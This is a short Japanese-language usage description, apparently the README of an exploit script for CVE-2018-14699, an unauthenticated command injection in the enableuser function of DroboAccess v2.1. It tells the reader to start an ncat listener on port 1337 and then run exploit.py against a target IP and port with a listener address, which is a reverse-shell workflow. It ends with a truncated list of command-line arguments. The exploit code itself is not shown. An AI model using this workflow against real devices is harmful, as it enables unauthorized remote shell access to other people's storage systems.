CVE-2018-14699

CVE-2018-14699 DroboAccess v2.1 の enableuser 関数における未認証のコマンドインジェクション 使用方法: 使用するには、まずリスナーを起動します ncat -nvlp 1337 次にエクスプロイトを実行します 例: exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='エクスプロイト対象のホスト、例: 192.168.1.122:8080',required=True '-l', '--listener-ip', help='リスナーIP',...